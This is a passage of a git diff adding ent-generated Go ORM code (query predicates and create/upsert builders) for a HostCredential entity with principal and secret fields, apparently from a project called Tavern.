+func CreatedAtGT(v time.Time) predicate.HostCredential {
+	return predicate.HostCredential(sql.FieldGT(FieldCreatedAt, v))
+}
+
+// CreatedAtGTE applies the GTE predicate on the "created_at" field.
+func CreatedAtGTE(v time.Time) predicate.HostCredential {
+	return predicate.HostCredential(sql.FieldGTE(FieldCreatedAt, v))
+}
+
+// CreatedAtLT applies the LT predicate on the "created_at" field.
+func CreatedAtLT(v time.Time) predicate.HostCredential {
+	return predicate.HostCredential(sql.FieldLT(FieldCreatedAt, v))
+}
+
+// CreatedAtLTE applies the LTE predicate on the "created_at" field.
+func CreatedAtLTE(v time.Time) predicate.HostCredential {
+	return predicate.HostCredential(sql.FieldLTE(FieldCreatedAt, v))
+}
+
+// LastModifiedAtEQ applies the EQ predicate on the "last_modified_at" field.
+func LastModifiedAtEQ(v time.Time) predicate.HostCredential {
+	return predicate.HostCredential(sql.FieldEQ(FieldLastModifiedAt, v))
+}
+
+// LastModifiedAtNEQ applies the NEQ predicate on the "last_modified_at" field.
+func LastModifiedAtNEQ(v time.Time) predicate.HostCredential {
+	return predicate.HostCredential(sql.FieldNEQ(FieldLastModifiedAt, v))
+}
+
+// LastModifiedAtIn applies the In predicate on the "last_modified_at" field.
+func LastModifiedAtIn(vs ...time.Time) predicate.HostCredential {
+	return predicate.HostCredential(sql.FieldIn(FieldLastModifiedAt, vs...))
+}
+
+// LastModifiedAtNotIn applies the NotIn predicate on the "last_modified_at" field.
+func LastModifiedAtNotIn(vs ...time.Time) predicate.HostCredential {
+	return predicate.HostCredential(sql.FieldNotIn(FieldLastModifiedAt, vs...))
+}
+
+// LastModifiedAtGT applies the GT predicate on the "last_modified_at" field.
+func LastModifiedAtGT(v time.Time) predicate.HostCredential {
+	return predicate.HostCredential(sql.FieldGT(FieldLastModifiedAt, v))
+}
+
+// LastModifiedAtGTE applies the GTE predicate on the "last_modified_at" field.
+func LastModifiedAtGTE(v time.Time) predicate.HostCredential {
+	return predicate.HostCredential(sql.FieldGTE(FieldLastModifiedAt, v))
+}
+
+// LastModifiedAtLT applies the LT predicate on the "last_modified_at" field.
+func LastModifiedAtLT(v time.Time) predicate.HostCredential {
+	return predicate.HostCredential(sql.FieldLT(FieldLastModifiedAt, v))
+}
+
+// LastModifiedAtLTE applies the LTE predicate on the "last_modified_at" field.
+func LastModifiedAtLTE(v time.Time) predicate.HostCredential {
+	return predicate.HostCredential(sql.FieldLTE(FieldLastModifiedAt, v))
+}
+
+// PrincipalEQ applies the EQ predicate on the "principal" field.
+func PrincipalEQ(v string) predicate.HostCredential {
+	return predicate.HostCredential(sql.FieldEQ(FieldPrincipal, v))
+}
+
+// PrincipalNEQ applies the NEQ predicate on the "principal" field.
+func PrincipalNEQ(v string) predicate.HostCredential {
+	return predicate.HostCredential(sql.FieldNEQ(FieldPrincipal, v))
+}
+
+// PrincipalIn applies the In predicate on the "principal" field.
+func PrincipalIn(vs ...string) predicate.HostCredential {
+	return predicate.HostCredential(sql.FieldIn(FieldPrincipal, vs...))
+}
+
+// PrincipalNotIn applies the NotIn predicate on the "principal" field.
+func PrincipalNotIn(vs ...string) predicate.HostCredential {
+	return predicate.HostCredential(sql.FieldNotIn(FieldPrincipal, vs...))
+}
+
+// PrincipalGT applies the GT predicate on the "principal" field.
+func PrincipalGT(v string) predicate.HostCredential {
+	return predicate.HostCredential(sql.FieldGT(FieldPrincipal, v))
+}
+
+// PrincipalGTE applies the GTE predicate on the "principal" field.
+func PrincipalGTE(v string) predicate.HostCredential {
+	return predicate.HostCredential(sql.FieldGTE(FieldPrincipal, v))
+}
+
+// PrincipalLT applies the LT predicate on the "principal" field.
+func PrincipalLT(v string) predicate.HostCredential {
+	return predicate.HostCredential(sql.FieldLT(FieldPrincipal, v))
+}
+
+// PrincipalLTE applies the LTE predicate on the "principal" field.
+func PrincipalLTE(v string) predicate.HostCredential {
+	return predicate.HostCredential(sql.FieldLTE(FieldPrincipal, v))
+}
+
+// PrincipalContains applies the Contains predicate on the "principal" field.
+func PrincipalContains(v string) predicate.HostCredential {
+	return predicate.HostCredential(sql.FieldContains(FieldPrincipal, v))
+}
+
+// PrincipalHasPrefix applies the HasPrefix predicate on the "principal" field.
+func PrincipalHasPrefix(v string) predicate.HostCredential {
+	return predicate.HostCredential(sql.FieldHasPrefix(FieldPrincipal, v))
+}
+
+// PrincipalHasSuffix applies the HasSuffix predicate on the "principal" field.
+func PrincipalHasSuffix(v string) predicate.HostCredential {
+	return predicate.HostCredential(sql.FieldHasSuffix(FieldPrincipal, v))
+}
+
+// PrincipalEqualFold applies the EqualFold predicate on the "principal" field.
+func PrincipalEqualFold(v string) predicate.HostCredential {
+	return predicate.HostCredential(sql.FieldEqualFold(FieldPrincipal, v))
+}
+
+// PrincipalContainsFold applies the ContainsFold predicate on the "principal" field.
+func PrincipalContainsFold(v string) predicate.HostCredential {
+	return predicate.HostCredential(sql.FieldContainsFold(FieldPrincipal, v))
+}
+
+// SecretEQ applies the EQ predicate on the "secret" field.
+func SecretEQ(v string) predicate.HostCredential {
+	return predicate.HostCredential(sql.FieldEQ(FieldSecret, v))
+}
+
+// SecretNEQ applies the NEQ predicate on the "secret" field.
+func SecretNEQ(v string) predicate.HostCredential {
+	return predicate.HostCredential(sql.FieldNEQ(FieldSecret, v))
+}
+
+// SecretIn applies the In predicate on the "secret" field.
+func SecretIn(vs ...string) predicate.HostCredential {
+	return predicate.HostCredential(sql.FieldIn(FieldSecret, vs...))
+}
+
+// SecretNotIn applies the NotIn predicate on the "secret" field.
+func SecretNotIn(vs ...string) predicate.HostCredential {
+	return predicate.HostCredential(sql.FieldNotIn(FieldSecret, vs...))
+}
+
+// SecretGT applies the GT predicate on the "secret" field.
+func SecretGT(v string) predicate.HostCredential {
+	return predicate.HostCredential(sql.FieldGT(FieldSecret, v))
+}
+
+// SecretGTE applies the GTE predicate on the "secret" field.
+func SecretGTE(v string) predicate.HostCredential {
+	return predicate.HostCredential(sql.FieldGTE(FieldSecret, v))
+}
+
+// SecretLT applies the LT predicate on the "secret" field.
+func SecretLT(v string) predicate.HostCredential {
+	return predicate.HostCredential(sql.FieldLT(FieldSecret, v))
+}
+
+// SecretLTE applies the LTE predicate on the "secret" field.
+func SecretLTE(v string) predicate.HostCredential {
+	return predicate.HostCredential(sql.FieldLTE(FieldSecret, v))
+}
+
+// SecretContains applies the Contains predicate on the "secret" field.
+func SecretContains(v string) predicate.HostCredential {
+	return predicate.HostCredential(sql.FieldContains(FieldSecret, v))
+}
+
+// SecretHasPrefix applies the HasPrefix predicate on the "secret" field.
+func SecretHasPrefix(v string) predicate.HostCredential {
+	return predicate.HostCredential(sql.FieldHasPrefix(FieldSecret, v))
+}
+
+// SecretHasSuffix applies the HasSuffix predicate on the "secret" field.
+func SecretHasSuffix(v string) predicate.HostCredential {
+	return predicate.HostCredential(sql.FieldHasSuffix(FieldSecret, v))
+}
+
+// SecretEqualFold applies the EqualFold predicate on the "secret" field.
+func SecretEqualFold(v string) predicate.HostCredential {
+	return predicate.HostCredential(sql.FieldEqualFold(FieldSecret, v))
+}
+
+// SecretContainsFold applies the ContainsFold predicate on the "secret" field.
+func SecretContainsFold(v string) predicate.HostCredential {
+	return predicate.HostCredential(sql.FieldContainsFold(FieldSecret, v))
+}
+
+// HasHost applies the HasEdge predicate on the "host" edge.
+func HasHost() predicate.HostCredential {
+	return predicate.HostCredential(func(s *sql.Selector) {
+		step := sqlgraph.NewStep(
+			sqlgraph.From(Table, FieldID),
+			sqlgraph.Edge(sqlgraph.M2O, false, HostTable, HostColumn),
+		)
+		sqlgraph.HasNeighbors(s, step)
+	})
+}
+
+// HasHostWith applies the HasEdge predicate on the "host" edge with a given conditions (other predicates).
+func HasHostWith(preds ...predicate.Host) predicate.HostCredential {
+	return predicate.HostCredential(func(s *sql.Selector) {
+		step := newHostStep()
+		sqlgraph.HasNeighborsWith(s, step, func(s *sql.Selector) {
+			for _, p := range preds {
+				p(s)
+			}
+		})
+	})
+}
+
+// HasTask applies the HasEdge predicate on the "task" edge.
+func HasTask() predicate.HostCredential {
+	return predicate.HostCredential(func(s *sql.Selector) {
+		step := sqlgraph.NewStep(
+			sqlgraph.From(Table, FieldID),
+			sqlgraph.Edge(sqlgraph.M2O, true, TaskTable, TaskColumn),
+		)
+		sqlgraph.HasNeighbors(s, step)
+	})
+}
+
+// HasTaskWith applies the HasEdge predicate on the "task" edge with a given conditions (other predicates).
+func HasTaskWith(preds ...predicate.Task) predicate.HostCredential {
+	return predicate.HostCredential(func(s *sql.Selector) {
+		step := newTaskStep()
+		sqlgraph.HasNeighborsWith(s, step, func(s *sql.Selector) {
+			for _, p := range preds {
+				p(s)
+			}
+		})
+	})
+}
+
+// And groups predicates with the AND operator between them.
+func And(predicates ...predicate.HostCredential) predicate.HostCredential {
+	return predicate.HostCredential(sql.AndPredicates(predicates...))
+}
+
+// Or groups predicates with the OR operator between them.
+func Or(predicates ...predicate.HostCredential) predicate.HostCredential {
+	return predicate.HostCredential(sql.OrPredicates(predicates...))
+}
+
+// Not applies the not operator on the given predicate.
+func Not(p predicate.HostCredential) predicate.HostCredential {
+	return predicate.HostCredential(sql.NotPredicates(p))
+}
diff --git a/tavern/internal/ent/hostcredential_create.go b/tavern/internal/ent/hostcredential_create.go
new file mode 100644
index 000000000..7865aee1f
--- /dev/null
+++ b/tavern/internal/ent/hostcredential_create.go
@@ -0,0 +1,690 @@
+// Code generated by ent, DO NOT EDIT.
+
+package ent
+
+import (
+	"context"
+	"errors"
+	"fmt"
+	"time"
+
+	"entgo.io/ent/dialect/sql"
+	"entgo.io/ent/dialect/sql/sqlgraph"
+	"entgo.io/ent/schema/field"
+	"realm.pub/tavern/internal/ent/host"
+	"realm.pub/tavern/internal/ent/hostcredential"
+	"realm.pub/tavern/internal/ent/task"
+)
+
+// HostCredentialCreate is the builder for creating a HostCredential entity.
+type HostCredentialCreate struct {
+	config
+	mutation *HostCredentialMutation
+	hooks    []Hook
+	conflict []sql.ConflictOption
+}
+
+// SetCreatedAt sets the "created_at" field.
+func (hcc *HostCredentialCreate) SetCreatedAt(t time.Time) *HostCredentialCreate {
+	hcc.mutation.SetCreatedAt(t)
+	return hcc
+}
+
+// SetNillableCreatedAt sets the "created_at" field if the given value is not nil.
+func (hcc *HostCredentialCreate) SetNillableCreatedAt(t *time.Time) *HostCredentialCreate {
+	if t != nil {
+		hcc.SetCreatedAt(*t)
+	}
+	return hcc
+}
+
+// SetLastModifiedAt sets the "last_modified_at" field.
+func (hcc *HostCredentialCreate) SetLastModifiedAt(t time.Time) *HostCredentialCreate {
+	hcc.mutation.SetLastModifiedAt(t)
+	return hcc
+}
+
+// SetNillableLastModifiedAt sets the "last_modified_at" field if the given value is not nil.
+func (hcc *HostCredentialCreate) SetNillableLastModifiedAt(t *time.Time) *HostCredentialCreate {
+	if t != nil {
+		hcc.SetLastModifiedAt(*t)
+	}
+	return hcc
+}
+
+// SetPrincipal sets the "principal" field.
+func (hcc *HostCredentialCreate) SetPrincipal(s string) *HostCredentialCreate {
+	hcc.mutation.SetPrincipal(s)
+	return hcc
+}
+
+// SetSecret sets the "secret" field.
+func (hcc *HostCredentialCreate) SetSecret(s string) *HostCredentialCreate {
+	hcc.mutation.SetSecret(s)
+	return hcc
+}
+
+// SetHostID sets the "host" edge to the Host entity by ID.
+func (hcc *HostCredentialCreate) SetHostID(id int) *HostCredentialCreate {
+	hcc.mutation.SetHostID(id)
+	return hcc
+}
+
+// SetHost sets the "host" edge to the Host entity.
+func (hcc *HostCredentialCreate) SetHost(h *Host) *HostCredentialCreate {
+	return hcc.SetHostID(h.ID)
+}
+
+// SetTaskID sets the "task" edge to the Task entity by ID.
+func (hcc *HostCredentialCreate) SetTaskID(id int) *HostCredentialCreate {
+	hcc.mutation.SetTaskID(id)
+	return hcc
+}
+
+// SetTask sets the "task" edge to the Task entity.
+func (hcc *HostCredentialCreate) SetTask(t *Task) *HostCredentialCreate {
+	return hcc.SetTaskID(t.ID)
+}
+
+// Mutation returns the HostCredentialMutation object of the builder.
+func (hcc *HostCredentialCreate) Mutation() *HostCredentialMutation {
+	return hcc.mutation
+}
+
+// Save creates the HostCredential in the database.
+func (hcc *HostCredentialCreate) Save(ctx context.Context) (*HostCredential, error) {
+	hcc.defaults()
+	return withHooks(ctx, hcc.sqlSave, hcc.mutation, hcc.hooks)
+}
+
+// SaveX calls Save and panics if Save returns an error.
+func (hcc *HostCredentialCreate) SaveX(ctx context.Context) *HostCredential {
+	v, err := hcc.Save(ctx)
+	if err != nil {
+		panic(err)
+	}
+	return v
+}
+
+// Exec executes the query.
+func (hcc *HostCredentialCreate) Exec(ctx context.Context) error {
+	_, err := hcc.Save(ctx)
+	return err
+}
+
+// ExecX is like Exec, but panics if an error occurs.
+func (hcc *HostCredentialCreate) ExecX(ctx context.Context) {
+	if err := hcc.Exec(ctx); err != nil {
+		panic(err)
+	}
+}
+
+// defaults sets the default values of the builder before save.
+func (hcc *HostCredentialCreate) defaults() {
+	if _, ok := hcc.mutation.CreatedAt(); !ok {
+		v := hostcredential.DefaultCreatedAt()
+		hcc.mutation.SetCreatedAt(v)
+	}
+	if _, ok := hcc.mutation.LastModifiedAt(); !ok {
+		v := hostcredential.DefaultLastModifiedAt()
+		hcc.mutation.SetLastModifiedAt(v)
+	}
+}
+
+// check runs all checks and user-defined validators on the builder.
+func (hcc *HostCredentialCreate) check() error {
+	if _, ok := hcc.mutation.CreatedAt(); !ok {
+		return &ValidationError{Name: "created_at", err: errors.New(`ent: missing required field "HostCredential.created_at"`)}
+	}
+	if _, ok := hcc.mutation.LastModifiedAt(); !ok {
+		return &ValidationError{Name: "last_modified_at", err: errors.New(`ent: missing required field "HostCredential.last_modified_at"`)}
+	}
+	if _, ok := hcc.mutation.Principal(); !ok {
+		return &ValidationError{Name: "principal", err: errors.New(`ent: missing required field "HostCredential.principal"`)}
+	}
+	if v, ok := hcc.mutation.Principal(); ok {
+		if err := hostcredential.PrincipalValidator(v); err != nil {
+			return &ValidationError{Name: "principal", err: fmt.Errorf(`ent: validator failed for field "HostCredential.principal": %w`, err)}
+		}
+	}
+	if _, ok := hcc.mutation.Secret(); !ok {
+		return &ValidationError{Name: "secret", err: errors.New(`ent: missing required field "HostCredential.secret"`)}
+	}
+	if v, ok := hcc.mutation.Secret(); ok {
+		if err := hostcredential.SecretValidator(v); err != nil {
+			return &ValidationError{Name: "secret", err: fmt.Errorf(`ent: validator failed for field "HostCredential.secret": %w`, err)}
+		}
+	}
+	if _, ok := hcc.mutation.HostID(); !ok {
+		return &ValidationError{Name: "host", err: errors.New(`ent: missing required edge "HostCredential.host"`)}
+	}
+	if _, ok := hcc.mutation.TaskID(); !ok {
+		return &ValidationError{Name: "task", err: errors.New(`ent: missing required edge "HostCredential.task"`)}
+	}
+	return nil
+}
+
+func (hcc *HostCredentialCreate) sqlSave(ctx context.Context) (*HostCredential, error) {
+	if err := hcc.check(); err != nil {
+		return nil, err
+	}
+	_node, _spec := hcc.createSpec()
+	if err := sqlgraph.CreateNode(ctx, hcc.driver, _spec); err != nil {
+		if sqlgraph.IsConstraintError(err) {
+			err = &ConstraintError{msg: err.Error(), wrap: err}
+		}
+		return nil, err
+	}
+	id := _spec.ID.Value.(int64)
+	_node.ID = int(id)
+	hcc.mutation.id = &_node.ID
+	hcc.mutation.done = true
+	return _node, nil
+}
+
+func (hcc *HostCredentialCreate) createSpec() (*HostCredential, *sqlgraph.CreateSpec) {
+	var (
+		_node = &HostCredential{config: hcc.config}
+		_spec = sqlgraph.NewCreateSpec(hostcredential.Table, sqlgraph.NewFieldSpec(hostcredential.FieldID, field.TypeInt))
+	)
+	_spec.OnConflict = hcc.conflict
+	if value, ok := hcc.mutation.CreatedAt(); ok {
+		_spec.SetField(hostcredential.FieldCreatedAt, field.TypeTime, value)
+		_node.CreatedAt = value
+	}
+	if value, ok := hcc.mutation.LastModifiedAt(); ok {
+		_spec.SetField(hostcredential.FieldLastModifiedAt, field.TypeTime, value)
+		_node.LastModifiedAt = value
+	}
+	if value, ok := hcc.mutation.Principal(); ok {
+		_spec.SetField(hostcredential.FieldPrincipal, field.TypeString, value)
+		_node.Principal = value
+	}
+	if value, ok := hcc.mutation.Secret(); ok {
+		_spec.SetField(hostcredential.FieldSecret, field.TypeString, value)
+		_node.Secret = value
+	}
+	if nodes := hcc.mutation.HostIDs(); len(nodes) > 0 {
+		edge := &sqlgraph.EdgeSpec{
+			Rel:     sqlgraph.M2O,
+			Inverse: false,
+			Table:   hostcredential.HostTable,
+			Columns: []string{hostcredential.HostColumn},
+			Bidi:    false,
+			Target: &sqlgraph.EdgeTarget{
+				IDSpec: sqlgraph.NewFieldSpec(host.FieldID, field.TypeInt),
+			},
+		}
+		for _, k := range nodes {
+			edge.Target.Nodes = append(edge.Target.Nodes, k)
+		}
+		_node.host_credential_host = &nodes[0]
+		_spec.Edges = append(_spec.Edges, edge)
+	}
+	if nodes := hcc.mutation.TaskIDs(); len(nodes) > 0 {
+		edge := &sqlgraph.EdgeSpec{
+			Rel:     sqlgraph.M2O,
+			Inverse: true,
+			Table:   hostcredential.TaskTable,
+			Columns: []string{hostcredential.TaskColumn},
+			Bidi:    false,
+			Target: &sqlgraph.EdgeTarget{
+				IDSpec: sqlgraph.NewFieldSpec(task.FieldID, field.TypeInt),
+			},
+		}
+		for _, k := range nodes {
+			edge.Target.Nodes = append(edge.Target.Nodes, k)
+		}
+		_node.task_reported_credentials = &nodes[0]
+		_spec.Edges = append(_spec.Edges, edge)
+	}
+	return _node, _spec
+}
+
+// OnConflict allows configuring the `ON CONFLICT` / `ON DUPLICATE KEY` clause
+// of the `INSERT` statement. For example:
+//
+//	client.HostCredential.Create().
+//		SetCreatedAt(v).
+//		OnConflict(
+//			// Update the row with the new values
+//			// the was proposed for insertion.
+//			sql.ResolveWithNewValues(),
+//		).
+//		// Override some of the fields with custom
+//		// update values.
+//		Update(func(u *ent.HostCredentialUpsert) {
+//			SetCreatedAt(v+v).
+//		}).
+//		Exec(ctx)
+func (hcc *HostCredentialCreate) OnConflict(opts ...sql.ConflictOption) *HostCredentialUpsertOne {
+	hcc.conflict = opts
+	return &HostCredentialUpsertOne{
+		create: hcc,
+	}
+}
+
+// OnConflictColumns calls `OnConflict` and configures the columns
+// as conflict target. Using this option is equivalent to using:
+//
+//	client.HostCredential.Create().
+//		OnConflict(sql.ConflictColumns(columns...)).
+//		Exec(ctx)
+func (hcc *HostCredentialCreate) OnConflictColumns(columns ...string) *HostCredentialUpsertOne {
+	hcc.conflict = append(hcc.conflict, sql.ConflictColumns(columns...))
+	return &HostCredentialUpsertOne{
+		create: hcc,
+	}
+}
+
+type (
+	// HostCredentialUpsertOne is the builder for "upsert"-ing
+	//  one HostCredential node.
+	HostCredentialUpsertOne struct {
+		create *HostCredentialCreate
+	}
+
+	// HostCredentialUpsert is the "OnConflict" setter.
+	HostCredentialUpsert struct {
+		*sql.UpdateSet
+	}
+)
+
+// SetLastModifiedAt sets the "last_modified_at" field.
+func (u *HostCredentialUpsert) SetLastModifiedAt(v time.Time) *HostCredentialUpsert {
+	u.Set(hostcredential.FieldLastModifiedAt, v)
+	return u
+}
+
+// UpdateLastModifiedAt sets the "last_modified_at" field to the value that was provided on create.
+func (u *HostCredentialUpsert) UpdateLastModifiedAt() *HostCredentialUpsert {
+	u.SetExcluded(hostcredential.FieldLastModifiedAt)
+	return u
+}
+
+// SetPrincipal sets the "principal" field.
+func (u *HostCredentialUpsert) SetPrincipal(v string) *HostCredentialUpsert {
+	u.Set(hostcredential.FieldPrincipal, v)
+	return u
+}
+
+// UpdatePrincipal sets the "principal" field to the value that was provided on create.
+func (u *HostCredentialUpsert) UpdatePrincipal() *HostCredentialUpsert {
+	u.SetExcluded(hostcredential.FieldPrincipal)
+	return u
+}
+
+// SetSecret sets the "secret" field.
+func (u *HostCredentialUpsert) SetSecret(v string) *HostCredentialUpsert {
+	u.Set(hostcredential.FieldSecret, v)
+	return u
+}
+
+// UpdateSecret sets the "secret" field to the value that was provided on create.
+func (u *HostCredentialUpsert) UpdateSecret() *HostCredentialUpsert {
+	u.SetExcluded(hostcredential.FieldSecret)
+	return u
+}
+
+// UpdateNewValues updates the mutable fields using the new values that were set on create.
+// Using this option is equivalent to using:
+//
+//	client.HostCredential.Create().
+//		OnConflict(
+//			sql.ResolveWithNewValues(),
+//		).
+//		Exec(ctx)
+func (u *HostCredentialUpsertOne) UpdateNewValues() *HostCredentialUpsertOne {
+	u.create.conflict = append(u.create.conflict, sql.ResolveWithNewValues())
+	u.create.conflict = append(u.create.conflict, sql.ResolveWith(func(s *sql.UpdateSet) {
+		if _, exists := u.create.mutation.CreatedAt(); exists {
+			s.SetIgnore(hostcredential.FieldCreatedAt)
+		}
+	}))
+	return u
+}
+
+// Ignore sets each column to itself in case of conflict.
+// Using this option is equivalent to using:
+//
+//	client.HostCredential.Create().
+//	    OnConflict(sql.ResolveWithIgnore()).
+//	    Exec(ctx)
+func (u *HostCredentialUpsertOne) Ignore() *HostCredentialUpsertOne {
+	u.create.conflict = append(u.create.conflict, sql.ResolveWithIgnore())
+	return u
+}
+
+// DoNothing configures the conflict_action to `DO NOTHING`.
+// Supported only by SQLite and PostgreSQL.
+func (u *HostCredentialUpsertOne) DoNothing() *HostCredentialUpsertOne {
+	u.create.conflict = append(u.create.conflict, sql.DoNothing())
+	return u
+}
+
+// Update allows overriding fields `UPDATE` values. See the HostCredentialCreate.OnConflict
+// documentation for more info.
+func (u *HostCredentialUpsertOne) Update(set func(*HostCredentialUpsert)) *HostCredentialUpsertOne {
+	u.create.conflict = append(u.create.conflict, sql.ResolveWith(func(update *sql.UpdateSet) {
+		set(&HostCredentialUpsert{UpdateSet: update})
+	}))
+	return u
+}
+
+// SetLastModifiedAt sets the "last_modified_at" field.
+func (u *HostCredentialUpsertOne) SetLastModifiedAt(v time.Time) *HostCredentialUpsertOne {
+	return u.Update(func(s *HostCredentialUpsert) {
+		s.SetLastModifiedAt(v)
+	})
+}
+
+// UpdateLastModifiedAt sets the "last_modified_at" field to the value that was provided on create.
+func (u *HostCredentialUpsertOne) UpdateLastModifiedAt() *HostCredentialUpsertOne {
+	return u.Update(func(s *HostCredentialUpsert) {
+		s.UpdateLastModifiedAt()
+	})
+}
+
+// SetPrincipal sets the "principal" field.
+func (u *HostCredentialUpsertOne) SetPrincipal(v string) *HostCredentialUpsertOne {
+	return u.Update(func(s *HostCredentialUpsert) {
+		s.SetPrincipal(v)
+	})
+}
+
+// UpdatePrincipal sets the "principal" field to the value that was provided on create.
+func (u *HostCredentialUpsertOne) UpdatePrincipal() *HostCredentialUpsertOne {
+	return u.Update(func(s *HostCredentialUpsert) {
+		s.UpdatePrincipal()
+	})
+}
+
+// SetSecret sets the "secret" field.
+func (u *HostCredentialUpsertOne) SetSecret(v string) *HostCredentialUpsertOne {
+	return u.Update(func(s *HostCredentialUpsert) {
+		s.SetSecret(v)
+	})
+}
+
+// UpdateSecret sets the "secret" field to the value that was provided on create.
+func (u *HostCredentialUpsertOne) UpdateSecret() *HostCredentialUpsertOne {
+	return u.Update(func(s *HostCredentialUpsert) {
+		s.UpdateSecret()
+	})
+}
+
+// Exec executes the query.
+func (u *HostCredentialUpsertOne) Exec(ctx context.Context) error {
+	if len(u.create.conflict) == 0 {
+		return errors.New("ent: missing options for HostCredentialCreate.OnConflict")
+	}
+	return u.create.Exec(ctx)
+}
+
+// ExecX is like Exec, but panics if an error occurs.
+func (u *HostCredentialUpsertOne) ExecX(ctx context.Context) {
+	if err := u.create.Exec(ctx); err != nil {
+		panic(err)
+	}
+}
+
+// Exec executes the UPSERT query and returns the inserted/updated ID.
+func (u *HostCredentialUpsertOne) ID(ctx context.Context) (id int, err error) {
+	node, err := u.create.Save(ctx)
+	if err != nil {
+		return id, err
+	}
+	return node.ID, nil
+}
+
+// IDX is like ID, but panics if an error occurs.
+func (u *HostCredentialUpsertOne) IDX(ctx context.Context) int {
+	id, err := u.ID(ctx)
+	if err != nil {
+		panic(err)
+	}
+	return id
+}
+
+// HostCredentialCreateBulk is the builder for creating many HostCredential entities in bulk.
+type HostCredentialCreateBulk struct {
+	config
+	err      error
+	builders []*HostCredentialCreate
+	conflict []sql.ConflictOption
+}
+
+// Save creates the HostCredential entities in the database.
+func (hccb *HostCredentialCreateBulk) Save(ctx context.Context) ([]*HostCredential, error) {
+	if hccb.err != nil {
+		return nil, hccb.err
+	}
+	specs := make([]*sqlgraph.CreateSpec, len(hccb.builders))
+	nodes := make([]*HostCredential, len(hccb.builders))
+	mutators := make([]Mutator, len(hccb.builders))
+	for i := range hccb.builders {
+		func(i int, root context.Context) {
+			builder := hccb.builders[i]
+			builder.defaults()
+			var mut Mutator = MutateFunc(func(ctx context.Context, m Mutation) (Value, error) {
+				mutation, ok := m.(*HostCredentialMutation)
+				if !ok {
+					return nil, fmt.Errorf("unexpected mutation type %T", m)
+				}
+				if err := builder.check(); err != nil {
+					return nil, err
+				}
+				builder.mutation = mutation
+				var err error
+				nodes[i], specs[i] = builder.createSpec()
+				if i < len(mutators)-1 {
+					_, err = mutators[i+1].Mutate(root, hccb.builders[i+1].mutation)
+				} else {
+					spec := &sqlgraph.BatchCreateSpec{Nodes: specs}
+					spec.OnConflict = hccb.conflict
+					// Invoke the actual operation on the latest mutation in the chain.
+					if err = sqlgraph.BatchCreate(ctx, hccb.driver, spec); err != nil {
+						if sqlgraph.IsConstraintError(err) {
+							err = &ConstraintError{msg: err.Error(), wrap: err}
+						}
+					}
+				}
+				if err != nil {
+					return nil, err
+				}
+				mutation.id = &nodes[i].ID
+				if specs[i].ID.Value != nil {
+					id := specs[i].ID.Value.(int64)
+					nodes[i].ID = int(id)
+				}
+				mutation.done = true
+				return nodes[i], nil
+			})
+			for i := len(builder.hooks) - 1; i >= 0; i-- {
+				mut = builder.hooks[i](mut)
+			}
+			mutators[i] = mut
+		}(i, ctx)
+	}
+	if len(mutators) > 0 {
+		if _, err := mutators[0].Mutate(ctx, hccb.builders[0].mutation); err != nil {
+			return nil, err
+		}
+	}
+	return nodes, nil
+}
+
+// SaveX is like Save, but panics if an error occurs.
+func (hccb *HostCredentialCreateBulk) SaveX(ctx context.Context) []*HostCredential {
+	v, err := hccb.Save(ctx)
+	if err != nil {
+		panic(err)
+	}
+	return v
+}
+
+// Exec executes the query.
+func (hccb *HostCredentialCreateBulk) Exec(ctx context.Context) error {
+	_, err := hccb.Save(ctx)
+	return err
+}
+
+// ExecX is like Exec, but panics if an error occurs.
+func (hccb *HostCredentialCreateBulk) ExecX(ctx context.Context) {
+	if err := hccb.Exec(ctx); err != nil {
+		panic(err)
+	}
+}
+
+// OnConflict allows configuring the `ON CONFLICT` / `ON DUPLICATE KEY` clause
+// of the `INSERT` statement. For example:
+//
+//	client.HostCredential.CreateBulk(builders...).
+//		OnConflict(
+//			// Update the row with the new values
+//			// the was proposed for insertion.
+//			sql.ResolveWithNewValues(),
+//		).
+//		// Override some of the fields with custom
+//		// update values.
+//		Update(func(u *ent.HostCredentialUpsert) {
+//			SetCreatedAt(v+v).
+//		}).
+//		Exec(ctx)
+func (hccb *HostCredentialCreateBulk) OnConflict(opts ...sql.ConflictOption) *HostCredentialUpsertBulk {
+	hccb.conflict = opts
+	return &HostCredentialUpsertBulk{
+		create: hccb,
+	}
+}
+
+// OnConflictColumns calls `OnConflict` and configures the columns
+// as conflict target. Using this option is equivalent to using:
+//
+//	client.HostCredential.Create().
+//		OnConflict(sql.ConflictColumns(columns...)).
+//		Exec(ctx)
+func (hccb *HostCredentialCreateBulk) OnConflictColumns(columns ...string) *HostCredentialUpsertBulk {
+	hccb.conflict = append(hccb.conflict, sql.ConflictColumns(columns...))
+	return &HostCredentialUpsertBulk{
+		create: hccb,
+	}
+}
+
+// HostCredentialUpsertBulk is the builder for "upsert"-ing
+// a bulk of HostCredential nodes.
+type HostCredentialUpsertBulk struct {
+	create *HostCredentialCreateBulk
+}
+
+// UpdateNewValues updates the mutable fields using the new values that
+// were set on create. Using this option is equivalent to using:
+//
+//	client.HostCredential.Create().
+//		OnConflict(
+//			sql.ResolveWithNewValues(),
+//		).
+//		Exec(ctx)
+func (u *HostCredentialUpsertBulk) UpdateNewValues() *HostCredentialUpsertBulk {
+	u.create.conflict = append(u.create.conflict, sql.ResolveWithNewValues())
+	u.create.conflict = append(u.create.conflict, sql.ResolveWith(func(s *sql.UpdateSet) {
+		for _, b := range u.create.builders {
+			if _, exists := b.mutation.CreatedAt(); exists {
+				s.SetIgnore(hostcredential.FieldCreatedAt)
+			}
+		}
+	}))
+	return u
+}
+
+// Ignore sets each column to itself in case of conflict.
+// Using this option is equivalent to using:
+//
+//	client.HostCredential.Create().
+//		OnConflict(sql.ResolveWithIgnore()).
+//		Exec(ctx)
+func (u *HostCredentialUpsertBulk) Ignore() *HostCredentialUpsertBulk {
+	u.create.conflict = append(u.create.conflict, sql.ResolveWithIgnore())
+	return u
+}
+
+// DoNothing configures the conflict_action to `DO NOTHING`.
+// Supported only by SQLite and PostgreSQL.
+func (u *HostCredentialUpsertBulk) DoNothing() *HostCredentialUpsertBulk {
+	u.create.conflict = append(u.create.conflict, sql.DoNothing())
+	return u
+}
+
+// Update allows overriding fields `UPDATE` values. See the HostCredentialCreateBulk.OnConflict
+// documentation for more info.
+func (u *HostCredentialUpsertBulk) Update(set func(*HostCredentialUpsert)) *HostCredentialUpsertBulk {
+	u.create.conflict = append(u.create.conflict, sql.ResolveWith(func(update *sql.UpdateSet) {
+		set(&HostCredentialUpsert{UpdateSet: update})
+	}))
+	return u
+}
+
+// SetLastModifiedAt sets the "last_modified_at" field.
